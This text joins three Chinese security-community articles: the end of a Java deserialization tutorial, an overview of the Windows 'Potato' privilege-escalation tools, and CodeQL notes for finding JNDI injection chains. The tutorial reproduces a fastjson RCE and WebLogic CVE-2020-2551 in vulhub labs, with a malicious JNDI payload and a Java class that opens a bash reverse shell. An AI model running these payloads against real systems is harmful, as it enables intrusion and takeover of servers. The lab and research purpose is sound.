或者尝试去继续跟一下源码,这个笔者后期继续深入的时候，再与各位细究其中的原理，目前我们还是先熟悉反序列化漏洞的基础知识，并学会变化利用该漏洞，后续再尝试分析原理，然后去挖掘反序列化链条,这就是一些后话啦，入门系列我们还是以萌新为基础。
(Eclipse 调试相对于 IDEA来说简直就是弟弟,后面的教程笔者就用IDEA来进行debug调试)
## 0x5 漏洞黑盒挖掘入门思路
这里我觉得可以从Weblogic的第一个漏洞开始说起。(Ps.下面作者代指漏洞作者)
1.先grep搜索一下Weblogic有没有用到漏洞库
root@us-l-breens:/opt/OracleHome# grep -R InvokerTransformer .
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
这里当时作者提到了一个小坑点，就是weblogic重命名了`commons-collections.jar`这个jar库,所以我们搜索的时候最好根据关键的函数名来搜索。
2.寻找可以发送序列化字符的entry point(入口点)
当时作者采用的黑盒测试的方法，通过用`wireShark`监听Weblogic的数据流，
然后在weblogic做一下公共操作比如尝试登录下账户密码，
root@us-l-breens:/opt/OracleHome/user_projects/domains/base_domain/bin# ./stopWebLogic.sh
Stopping Weblogic Server...
Initializing WebLogic Scripting Tool (WLST) ...
Welcome to WebLogic Server Administration Scripting Shell
Type help() for help on available commands
Please enter your username :weblogic
Please enter your password :
Connecting to t3://us-l-breens:7001 with userid weblogic ...
This Exception occurred at Thu Nov 05 18:32:46 EST 2015.
javax.naming.AuthenticationException: User failed to be authenticated. [Root exception is java.lang.SecurityException: User failed to be authenticated.]
Problem invoking WLST - Traceback (innermost last):
File "/opt/OracleHome/user_projects/domains/base_domain/shutdown-AdminServer.py", line 3, in ?
File "<iostream>", line 19, in connect
File "<iostream>", line 553, in raiseWLSTException
WLSTException: Error occurred while performing connect : User failed to be authenticated. : User failed to be authenticated.
Use dumpStack() to view the full stacktrace :
Done
Stopping Derby Server...
然后发现了数据流里面出现了`magic bytes`:`ac ed 00 05`
通过这一点可以看到，我们平时去挖掘该类漏洞的时候，面对庞大的程序，黑盒测试反而更为简单，我们只要匹配一下数据流的`magic`就可定位到可能存在的漏洞点了。
3.尝试构造Exploit
这个具体过程，其实作者走了不少弯路,[weblogic漏洞发现](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#weblogic),这里我也简单和大家说说。就是在构造t3协议数据包的时候，直接替换原先数据包的payload是不行的，因为t3数据包分组中第一个chunk会指定信息的长度，如果不调整这个长度就会爆出EOFException的错误，所以说当时作者当时反复调试搞出了二进制流的值，最好编写出了Python的利用脚本
payloadObj = open(sys.argv[3],'rb').read()
payload='x00x00x09xf3x01x65x01xffxffxffxffxffx...........
payload=payload+payloadObj
payload=payload+'xfex01x00x00xacxedx00x05x73x72x...........
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
可以看到是分为3部分的,
`payloadobj`其实就是我们`ysoserial`攻击payload。其他两部分主要是保证正常解析t3协议。
**PS.**
可以看出来作者在调试过程中花费的时间还是挺多的，所以如果我们小萌新想挖这个漏洞的话难度还是很大的，必须非常熟悉协议调试，及其java、python一些工具的编写的,但是平时的时候，我们可以跟一下http协议包的一些base64字段，解码看看，如果存在序列化数据，我们直接替换为payload可以尝试下，这里笔者还没遇到相关环境，所以只能提供一下思路了。
## 0x6 漏洞复现之练手篇
为了照顾萌新，也因为自身知识浅薄，笔者打算不从反序列化漏洞利用过程中用到RMI、JNDI、LDAP、JRMP、JMX、JMS等各种深奥的技术劝退小萌新,我们不如站在巨人的肩膀上，先搭建好环境复现一波，后续我们在慢慢深入探讨一些相关知识。(Ps.笔者觉得实践出快乐,单单研究是比较枯燥的,通过实践能很好得将知识或深或浅运用上)
这里我选取比较经典的三个应用典型的反序列化漏洞作为学习的例子。
首先我们要安装一个工具来开启RMI 或者 LDAP服务器
为什么会需要呢,
这里可以提前简单提一下，因为反序列化的过程中，我们不一定能找到直接执行命令的点，但是有一些远程加载恶意类的点来进行代码执行，所以为了匹配这种点，我们的恶意payload需要配置在相应的服务上，至于具体过程，下次我讲weblogic会再细谈,我们先把复现环境弄出来。
> marshalsec
>
> <https://github.com/mbechler/marshalsec>
1.`git clone https://github.com/mbechler/marshalsec.git`
2.maven 编译
`mvn clean package -DskipTests`
3.使用方法
java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
4.常用的加载类方式
下面我们来使用这个工具。
### 0x6.1 fastjson 反序列化漏洞
1.2.48 版本以下通杀的:
漏洞具体分析可以读一下:[FastJson最新反序列化漏洞分析](https://xz.aliyun.com/t/5680)
fastjson 反序列化漏洞其实很有意思,让人觉得很神奇吧。
后面如果分析的话，我会插入一些关于这个点的讲解。
**这里我们采取Vulnhub环境来搭建相关漏洞环境**
[fastjson 1.2.24
反序列化导致任意命令执行漏洞](https://vulhub.org/#/environments/fastjson/1.2.24-rce/)
1.下载vulnhub
`git clone https://github.com/vulhub/vulhub.git`
2.进入fastjson相应漏洞的复现环境
`cd ./vulhub/fastjson/1.2.24-rce`
3.启动docker
`docker-compose up -d`
4.访问vuln url
`http://127.0.0.1:8090`
5.burp捕捉相关数据包
curl http://127.0.0.1:8090 --proxy 127.0.0.1:8080 -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
6.编译恶意类
import java.lang.Runtime;
import java.lang.Process;
public class EvilClass {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
`javac evilClass.java`
1. Python起一个web服务存放恶意类让marshalsec来绑定
1.python -m SimpleHTTPServer
# Serving HTTP on 0.0.0.0 port 8000 ...
# 切换到marshalsec的target路径执行
2.java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.65.2:8000/#EvilClass" 9999
8.执行payload
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.65.2:9999/EvilClass",
"autoCommit":true
}
}
可以看到成功执行了命令,可以看到`marshalsec`的作用类似个中转器。
这里的漏洞环境是`JDK1.8_8u102` 可以利用:
但是如果漏洞环境是其他的jdk版本，则相应有一些限制需要绕过了，后面我们细讲jndi注入的时候在讨论。
[如何绕过高版本JDK的限制进行JNDI注入利用](https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html)
ps.
还有个1.2.48 bypass autoType检查的rce 的环境,读者感兴趣可以自行搭建下。
[Fastjson 1.2.47
远程命令执行漏洞](https://vulhub.org/#/environments/fastjson/1.2.47-rce/)
### 0x6.2 weblogic cve 2551 反序列漏洞
笔者头铁敢选择这个到处是坑的漏洞复现，主要还是站在各位师傅的肩膀上，略微记录下自己的复现过程。
先简单描述下这个漏洞的情况:
> 2020年1月15日,
> Oracle官方发布了CVE-2020-2551的漏洞通告，漏洞等级为高危，CVVS评分为9.8分，漏洞利用难度低。影响范围为10.3.6.0.0,
> 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。
了解下一些相关知识:
> 1.7001 是个动态解析端口(不同协议不同处理)
>
> 2.2551漏洞出在IIOP协议上,该协议默认开启
>
> 3.不同的weblogic版本会导致利用不同
>
> 根据师傅的测试可以得知:
>
> 成功的版本为:
>
> 10.3.6.0.0 12.1.3.0.0 (低版本)
>
> 12.2.1.3.0 12.2.1.4.0 (高版本)
其实这个漏洞真的相当多坑，各种网络环境问题，由此衍生了许多回显方案的提出，感觉挺有研究价值的一个洞，几乎应用了各种各样的java反序列利用漏洞技巧,这里我们还是初探为主，搭建环境先Run一下，找下感觉。
1.编译POC
`git clone https://github.com/Y4er/CVE-2020-2551`
这里笔者直接偷懒不编译了,直接作者已经编译的`weblogic_CVE_2020_2551.jar`
2.Weblogic10.3.6.0 环境
这里采取的还是`vulhub`的docker环境比较方便。
3.编译exp class:
这里我们修改下恶意执行命令类为反弹shell
import java.lang.Runtime;
import java.lang.Process;
public class EvilClass {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.0.3/9011 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
`javac -source 1.6 -target 1.6 EvilClass.java`
然后就和上面那个例子差不多了,只不过我们这次多了一个监听的过程。
1.python -m SimpleHTTPServer 8000
2.java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.3:8000/#EvilClass" 1099
3.java -jar weblogic_CVE_2020_2551.jar 192.168.0.3 7001 rmi://192.168.0.3:1099/exp
这里:`192.168.0.3`是我的本机IP内网IP,docker可以访问,但是本机没办法访问docker的内容。
这样会失败的,因为你这个IIOP涉及一个bind的过程，这个过程需要weblogic返回第一个地址来让我们攻击的那个jar来绑定，这个返回地址其实是docker的内网ip,然后我们去绑定的时候是访问不到这个ip的，[手把手教你解决Weblogic
CVE-2020-2551
POC网络问题](https://xz.aliyun.com/t/7498),这里作者之所以演示成功，是因为作者直接把kali放在跟docker同一网段里面。
那么该怎么解决呢？？
那我们修改下exp呗，就是让它不要用weblogic返回的地址内网ip去访问7001，而是指定我们可以访问的ip+7001去访问。(这个关于为什么，后面我细说IIOP协议实现机制的时候会跟小萌新们一起探讨，我们先run起来)
1.Idea 导入项目
2.重写Opprofile.class类
路径如下:
`CVE-2020-2551srclibwlfullclient.jar!weblogiciiopIOPProfile.class`
IDEA定位进去:
修改过程:
无源码的情况下，修改.class文件内容：
1、在开发工具（idea）中建立一个包名、类名完全相同的类文件。
2、将.class文件中的内容复制到自己新建的类中进行修改.
3、完成后，重新编译、启动，修改内容生效。
ps.直接在src目录下新建一个同类的文件，copy下代码过来就行，idea会根据包名自动编译的。
然后我们重新编译项目打包就好了。
java -jar CVE-2020-2551.jar 192.168.0.3 7001 rmi://192.168.0.3:1099/exp
这样子就可以成功了。
**Ps.**
关于这个洞出现的坑点，要一一解决的话,我们就需要梳理清楚IIOP的交互逻辑及其数据格式。有兴趣可以读一下下文，尝试自己写一个交互。
[Weblogic CVE-2020-2551 IIOP协议反序列化RCE](https://y4er.com/post/weblogic-cve-2020-2551/)
上面能不能动态修改呢？ 毕竟修改一行代码有点难度。
工具化的解决nat问题的话，后面我们再细讨吧,毕竟我也是个小萌新。
## 0x7 总结
我个人感觉本文技术含量并没有，所以阅读起来相对比较直白和简单，能给萌新选手一个直观的java反序列漏洞当前的现状，也希望本文能为自己以及各位萌新一个阅读我下文参考链接的基础能力，然后从本文发散的知识点去深入学习。当然，后面我会继续研究，把这些知识点再深入下(太菜了)。
## 0x8 参考链接
[浅析Java序列化和反序列化](https://xz.aliyun.com/t/3847#toc-3)
[Java反序列之从萌新到菜鸟](//www.kingkk.com/2019/01/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E4%B9%8B%E4%BB%8E%E8%90%8C%E6%96%B0%E5%88%B0%E8%8F%9C%E9%B8%9F/))
[Java反序列化漏洞从入门到深入](https://xz.aliyun.com/t/2041)
[Java反序列化1：基础](//anemone.top/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96-Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E6%9C%AC%E5%8E%9F%E7%90%86/))
[如何攻击Java反序列化过程](https://www.anquanke.com/post/id/86641)
[Weblogic漏洞挖掘](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#background)
[Java serialVersionUID 有什么作用？](https://www.jianshu.com/p/91fa3d2ac892)
[深入解析Java反射（1）](https://www.sczyh30.com/posts/Java/java-reflection-1/)
[如何绕过高版本JDK的限制进行JNDI注入利用](https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html)
[CVE-2020-2551复现](https://www.cnblogs.com/lxmwb/p/12643684.html)
[手把手教你解决Weblogic CVE-2020-2551 POC网络问题](https://xz.aliyun.com/t/7498) | 社区文章 |
# Potato家族本地提权分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在实际渗透中，我们用到最多的就是Potato家族的提权。本文着重研究Potato家族的提权原理以及本地提权细节
## 0x01 原理讲解
1.利用Potato提权的是前提是拥有 **SeImpersonatePrivilege** 或
**SeAssignPrimaryTokenPrivilege**
权限，以下用户拥有SeImpersonatePrivilege权限（而只有更高权限的账户比如SYSTEM才有SeAssignPrimaryTokenPrivilege权限）：
本地管理员账户(不包括管理员组普通账户)和本地服务账户
由SCM启动的服务
PS：本机测试时即使在本地策略中授予管理员组普通用户 **SeImpersonatePrivilege** 特权，在cmd.exe中whoami
/priv也不显示该特权，且无法利用；而 **SeAssignPrimaryTokenPrivilege** 特权则可以正常授予普通用户
2.Windows服务的登陆账户
Local System( **NT AUTHORITY\SySTEM** )
Network Service( **NT AUTHORITY\Network Service** )
Local Service( **NT AUTHORITY\Local Service** )
也就是说该提权是
Administrator——>SYSTEM
Service——>SYSTEM
服务账户在windows权限模型中本身就拥有很高的权限
在实际渗透过程中，拿到webshell下，用户权限是IIS或者apache，或通过SQLi执行xp_cmdshell,此时手里的服务账户在进行操作时是低权限账户，而使用该提权手法可以直接获取SYSTEM权限
3.windows token
windows token是描述安全上下文的对象，用户登陆后系统就会生成token，创建新进程或新线程时这个token会不断口碑
Token成员
用户账户的(SID)
用户所属的组的SID
用于标识当前登陆会话的登陆SID
用户或用户组所拥有的权限列表
所有者SID
所有者组的SID
访问控制列表
访问令牌的来源
主令牌/模拟令牌
限制SID的可选列表
模拟等级:
Anonymous: server无法模拟或识别client
Identification: 可识别client的身份和特权，不能模拟
Impersonation: 可在本地系统模拟
Delegation: 可在远程系统上模拟
C:\WINDOWS\system32>whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
=============================== =========================================== =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
当用户具有 **SeImpersonatePrivilege** 特权，则可以调用 **CreateProcessWithTokenW** 以某个
**Token** 的权限启动新进程
当用户具有 **SeAssignPrimaryTokenPrivilege** 特权，则可以调用 **CreateProcessAsUserW** 以
**hToken** 权限启动新进程
## 0x02 历史土豆解析
1.HOT Potato(需要等待windows update)
repo: <https://github.com/foxglovesec/Potato>
DBNS欺骗，WPAD和Windows update服务
原理：
（1）通过HOST-DNS使UDP端口耗尽——NBNS
（2）通过fake WPAD prxy Server（劫持http）
IE –<http://Wpad/Wpaddat> 刷新WPAD文件可能需要30-60分钟
（3）HTTP>SMB NTML
Relay（302-[http://127.0.0.1/GETHASHSxxxx&](http://127.0.0.1/GETHASHSxxxx&);
#8221;-响应401是NTML身份验证请求，当是Windows Update服务请求时候，此命令将以“NT AUTHORITY \
SYSTEM”特权运行）
2.Rotten Potato
repo: <https://github.com/foxglovesec/RottenPotato>
它是通过DCOM call来使服务向攻击者监听的端口发起连接并进行NTLM认证,需要 **SelmpersonatePrivilege** 权限
3.Jucy Potato(Rotten Potato的加强版)
repo: <https://github.com/ohpe/juicy-potato>
需要Selmpersonate、SeAssignPrimaryToken 两个权限
* 本地支持RPC或远程服务器支持RPC并能成功登陆
* 用户支持Selmpersonate或SeAssignPrimaryToken权限
* 开启DCOM
* 可用的COM对象
常用：
JuicyPotato -p "whoami /priv"
4.Ghost Potato
repo: <https://github.com/Ridter/GhostPotato>
利用CVE-2019-1384(Ghost Potato) Bypass MS-08068
原理：
（1）主机A向主机B(访问|\B)进行SMB认证的时候，将pszTargetName设置为cifs/B,然后在type
2拿到主机B发送Challenge之后，在lsass里面缓存(Challenge,cifs/B).
（2）然后主机B在拿到主机A的type 3之后，会去lsass里面有没有缓存(Challenge,cifs/b),如果存在缓存，那么认证失败。
（3）这种情况底下，如果主机B和主机A是不同的主机的话，那Isass里面就不会缓存 (Challenge,cifs/B).如果是同--台主机的话,那Isass里面肯定有缓存，这个时候就会认证失败。
（4）绕过了缓存的限制，因为lsass中的缓存，在300s后会自动消失，315s后在发送Type3
5.Pipe Potato
攻击者通过 **pipeserver.exe** 注册一个名为 **pipexpipespoolss**
的恶意的命名管道等待高权限用户来连接以模拟高权限用户权限，然后通过spoolssClient.exe迫使system用户来访问攻击者构建的恶意命名管道,从而模拟system用户运行任意应用程序
原理：
（1）调用CreateN amedPipe()创建一个命名管道
（2）调用ConnectNamedPipe() 接受该命名请求连接
（3）迫使高权限进程连接该命名管道并写入数据
（4）调用ImpersonateNamedPipeClient()派生 一个高权限进程的客户端
### 衍生版本：
PrintSpoofer
repo:
<https://github.com/itm4n/PrintSpoofer>
利用spoolsv.exe进程的RPC服务器强制Windows主机向其他计算机进行身份证验证
需要 **SelmpersonatePrivilege** 、 **SeAssignPrimaryToken** 权限
6.Sweet Potato(Juicy土豆的重写)
repo: <https://github.com/CCob/SweetPotato>
COM/WinRM/Spoolsv的集合版，也就是Juicy/PrintSpoofer
从Windows 7到windows10/windows server2019的本地服务到system特权升级
## 0x03 小结
Potato提权原理简单来说就是如下三条:
（1）诱使 “SYSTEM” 账户通过NTLM向控制的TCP节点进行身份验证
（2）以本地协商 “NT AUTHORITY \ SYSTEM” 账户的安全令牌进行NTLM Relay
（3）模拟刚刚协商的令牌，达到提权的目的
## 0x04参考链接：
<https://www.anquanke.com/post/id/204510>
<https://www.t00ls.net/articles-56281.html>
<https://docs.ioin.in/writeup/tools.pwn.ren/_2016_01_17_potato_windows_html/index.html>
<https://foxglovesecurity.com/2016/01/16/hot-potato/> | 社区文章 |
本文主要内容有：
* 如何查找函数调用
* 如何查找属性使用
* 如何进行数据流分析
* 寻找fastjson jndi反序列化链
## Workshop 学习
这部分是学习这个codeql的[workshop](https://github.com/githubsatelliteworkshops/codeql/blob/master/java.md)的笔记。Struts
有个漏洞 [CVE-2017-9805](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9805)
，是由于用户控制的输入直接传到了`XStream.fromXML`，造成了反序列化漏洞。这个workshop主要是分析如何利用codeql数据流分析功能找到这个洞。
`Struts`有个 `contentypehandler` 的`interface` 里面有个方法是`toObject(Reader in, Object
target)`, 这个方法是用来根据用户请求的`content-type`来进行处理请求。现在已知这个`in`
是由用户完全控制的，可以算是一个`source`，另外一个已知是`com.thoughtworks.xstream.fromXML`
存在反序列化问题，可以算是一个`sink`.
所以进行数据流分析可以是从`toObject`这个`Method`的`in`
这个`Parameter`，流到`fromXML`这个`MethodAccess`的`arguement`
下面是`parameter` 和
`argument`的区别。简单的来说`parameter`是函数定义时候的变量，`argument`是调用时传进去的变量。
> A parameter is a variable in a method definition. When a method is called,
> the arguments are the data you pass into the method's parameters.
>
>
> public void MyMethod(string myParam) { }
>
> ...
>
> string myArg1 = "this is my argument";
> myClass.MyMethod(myArg1);
### Method
#### 根据Method name查询
import java
from Method method
where method.hasName("toObject")
select method
把这个方法的`class` `name`也查出来
import java
from Method method
where method.hasName("toObject")
select method, method.getDeclaringType()
点击右侧的可以看到相应的代码片段。
这里比较奇怪，为啥8，9会出现。
查看代码可以发现这是一个匿名类。看到这里感觉codeql还是比较牛逼的。
#### 根据Method name 和 class name 查询
比如我想查询`Xstream` 这个类的`fromXML` 方法。
> predicate
> [hasQualifiedName](https://help.semmle.com/qldoc/java/semmle/code/java/Type.qll/predicate.Type$RefType$hasQualifiedName.2.html)([string](https://help.semmle.com/qldoc/java/type.string.html)
> package, [string](https://help.semmle.com/qldoc/java/type.string.html) type)
import java
from Method method
where method.hasName("fromXML") and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream")
select method
#### 根据Method name 和 interface name 查询
比如我想查询`ContentTypeHandler` 的所有子类`toObject`方法
import java
from Method method
where method.hasName("toObject") and method.getDeclaringType().getASupertype().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler")
select method
这样会比直接根据method name查少一个结果,少的结果是`ContentTypeHanlder`他自己。
可以用`getAnAncestor()`
> Gets a direct or indirect supertype of this type, including itself.
>
>
> [RefType](https://help.semmle.com/qldoc/java/semmle/code/java/Type.qll/type.Type$RefType.html)
> [getAnAncestor](https://help.semmle.com/qldoc/java/semmle/code/java/Type.qll/predicate.Type$RefType$getAnAncestor.0.html)()
import java
from Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler")
select method
也可以用`getDeclaringType()*` 类似的还有`getDeclaringType()+`
有个问题是，万一一个类实现了多个接口是不是也可以这么用？ 答案是是的
`getAxxxx`，如果有多个结果会以多行的形式按照一定的顺序显示出来。
比如`getAParamType`
#### 获取Method的parameter
>
> [getAParamType()](https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Callable$getAParamType.0.html)
> Gets the type of a formal parameter of this callable
>
>
> [getAParameter()](https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Callable$getAParameter.0.html)
> Gets a formal parameter of this callable
>
>
> [getNumberOfParameters()](https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Callable$getNumberOfParameters.0.html)
> Gets the number of formal parameters of this callable.
>
> [getParameter(int
> n)](https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Callable$getParameter.1.html)
> Gets the formal parameter at the specified (zero-based) position.
>
> [getParameterType(int
> n)](https://help.semmle.com/qldoc/java/semmle/code/java/Member.qll/predicate.Member$Callable$getParameterType.1.html)
> Gets the type of the formal parameter at the specified (zero-based) position
import java
from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select method.getParameter(0)
### MethodAccess
一般是先查`method`，与`MethodAccess.getMethod()` 进行比较。
比如查`ContentTypeHandler` 的 `toObject()` 方法的调用。
import java
from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getASupertype().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select call
上面这种查询方式不行，只能查到`JsonLibHandler` 这样显式定义的。
对于这种, 真正用的并没有查到
怎么改进呢？
也可以使用`getAnAncestor()` 或者`getASupertype()*`
import java
from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select call
这种查询能够涵盖上面的两种情况
从上面可以看到`MethodAccess` 的查询依赖于`Method` 的查询。
#### 获取MethodAccess 的 argument
>
> [getATypeArgument](https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/predicate.Expr$MethodAccess$getATypeArgument.0.html)
> Gets a type argument supplied as part of this method access, if any.
>
> [getAnArgument](https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/predicate.Expr$MethodAccess$getAnArgument.0.html)
> Gets an argument supplied to the method that is invoked using this method
> access.
> [getArgument(int
> n)](https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/predicate.Expr$MethodAccess$getArgument.1.html)
> Gets the argument at the specified (zero-based) position in this method
> access.
>
> [getTypeArgument(int
> n)](https://help.semmle.com/qldoc/java/semmle/code/java/Expr.qll/predicate.Expr$MethodAccess$getTypeArgument.1.html)
> Gets the type argument at the specified (zero-based) position in this method
> access, if any.
import java
from MethodAccess call, Method method
where method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and call.getMethod() = method
select call.getArgument(0)
### dataflow
从source，到sink 有没有一条路径。
也就是从toObject的in parameter 到 fromXML的in argument 有没有一条路径。
数据流分析要继承`DataFlow::Configuration` 这个类，然后重载`isSource` 和`isSink` 方法
class MyConfig extends DataFlow::Configuration {
MyConfig() { this = "Myconfig" }
override predicate isSource(DataFlow::Node source) {
....
)
}
override predicate isSink(DataFlow::Node sink) {
....
)
}
}
先介绍一下`exists` 的用法。
> #### `exists`
>
> This quantifier has the following syntax:
>
>
> exists(<variable declarations> | <formula>)
>
> You can also write `exists( | | )`. This is equivalent to `exists( | and )`.
>
> This quantified formula introduces some new variables. It holds if there is
> at least one set of values that the variables could take to make the formula
> in the body true.
>
> For example, `exists(int i | i instanceof OneTwoThree)` introduces a
> temporary variable of type `int` and holds if any value of that variable has
> type `OneTwoThree`.
说人话就是，`variable`满足`formula` 则返回true 否则返回false
Node 的 方法
>
> [asExpr](https://help.semmle.com/qldoc/java/semmle/code/java/dataflow/internal/DataFlowUtil.qll/predicate.DataFlowUtil$Node$asExpr.0.html)
> Gets the expression corresponding to this node, if any.
>
> [asParameter](https://help.semmle.com/qldoc/java/semmle/code/java/dataflow/internal/DataFlowUtil.qll/predicate.DataFlowUtil$Node$asParameter.0.html)
> Gets the parameter corresponding to this node, if any.
完整的数据流分析代码如下
import java
import semmle.code.java.dataflow.DataFlow
class StrutsUnsafeDeserializationConfig extends DataFlow::Configuration {
StrutsUnsafeDeserializationConfig() { this = "StrutsUnsafeDeserializationConfig" }
override predicate isSource(DataFlow::Node source) {
exists(Method method |
method.hasName("toObject") and method.getDeclaringType().getAnAncestor().hasQualifiedName("org.apache.struts2.rest.handler", "ContentTypeHandler") and source.asParameter() = method.getParameter(0)
)
}
override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call, Method method |
method.hasName("fromXML") and method.getDeclaringType().hasQualifiedName("com.thoughtworks.xstream", "XStream") and call.getMethod() = method and sink.asExpr() = call.getArgument(0)
)
}
}
from StrutsUnsafeDeserializationConfig config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select source, sink
## 小试牛刀 - codeql 找fastjson 反序列化链
为了与这位老哥<https://xz.aliyun.com/t/7482作个对比，这里我也选用了`shrio`> 和`common-configuration`
### shrio
`source` 主要是 `class`的所有`Field`, `sink` 就是`javax.naming` `Context` `interface`
的 `lookup` 方法，看16年backhat
的那个ppt其实还有个`search`方法，但是这个不能直接注入URL，所以在这里就不考虑了。大家如果还有其他`sink`欢迎联系一起交流。
第一版代码
import java
import semmle.code.java.dataflow.DataFlow
import semmle.code.java.dataflow.TaintTracking
class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
this.hasName("lookup")
}
}
class MyTaintTrackingConfiguration extends TaintTracking::Configuration {
MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }
override predicate isSource(DataFlow::Node source) {
exists(FieldAccess fac|
source.asExpr() = fac
)
}
override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call |
call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
)
}
}
from MyTaintTrackingConfiguration config, DataFlow::Node source, DataFlow::Node sink
where config.hasFlow(source, sink)
select source, sink
能查出来，但是没有显示具体的path，后来查看文档，应该是可以显示path的。
> ## Running path queries in VS Code
>
> 1. Open a path query in the editor.
> 2. Right-click in the query window and select **CodeQL: Run Query**.
> (Alternatively, run the command from the Command Palette.)
> 3. Once the query has finished running, you can see the results in the
> Results view as usual (under `alerts` in the dropdown menu). Each query
> result describes the flow of information between a source and a sink.
> 4. Expand the result to see the individual steps that the data follows.
> 5. Click each step to jump to it in the source code and investigate the
> problem further.
> 6. To navigate the path from your keyboard, you can bind shortcuts to the
> **CodeQL: Show Previous Step on Path** and **CodeQL: Show Next Step on
> Path** commands.
>
后来根据<https://github.com/github/codeql/blob/master/java/ql/src/Security/CWE/CWE-079/XSS.ql>
这个抄了一下。
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph
class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
this.hasName("lookup")
}
}
class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }
override predicate isSource(DataFlow::Node source) {
exists(FieldAccess fac|
source.asExpr() = fac
)
}
override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call |
call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
)
}
}
from MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, source.getNode()
下拉菜单里面`nodes` 和 `edge` 但是没有他说的`alerts`。
后来查了 ~~一下~~ 几下，查到了这个<https://help.semmle.com/lgtm-enterprise/user/help/writing-custom-queries.html> 在注释里面加一个metadata
就行了。（其实上面的xss.ql里面也写了，以为注释不用抄）
最终代码变成了这样。
/**
@kind path-problem
*/
import java
import semmle.code.java.dataflow.FlowSources
import semmle.code.java.dataflow.TaintTracking2
import DataFlow2::PathGraph
class JNDIMethod extends Method{
JNDIMethod(){
this.getDeclaringType().getAnAncestor().hasQualifiedName("javax.naming", "Context") and
this.hasName("lookup")
}
}
class MyTaintTrackingConfiguration extends TaintTracking2::Configuration {
MyTaintTrackingConfiguration() { this = "MyTaintTrackingConfiguration" }
override predicate isSource(DataFlow::Node source) {
exists(FieldAccess fac|
source.asExpr() = fac
)
}
override predicate isSink(DataFlow::Node sink) {
exists(MethodAccess call |
call.getMethod() instanceof JNDIMethod and sink.asExpr() = call.getArgument(0)
)
}
}
from MyTaintTrackingConfiguration config, DataFlow2::PathNode source, DataFlow2::PathNode sink
where config.hasFlowPath(source, sink)
select source.getNode(), source, sink, sink.getNode()
通过人工检查这些路径，第一个属于误报，第二个三属于不同的分支，可利用，第四也可利用。
第一个是属于误报
分析认为`org.apache.shiro.jndi.JndiLocator` 的`CONTAINER_PREFIX` `Field`
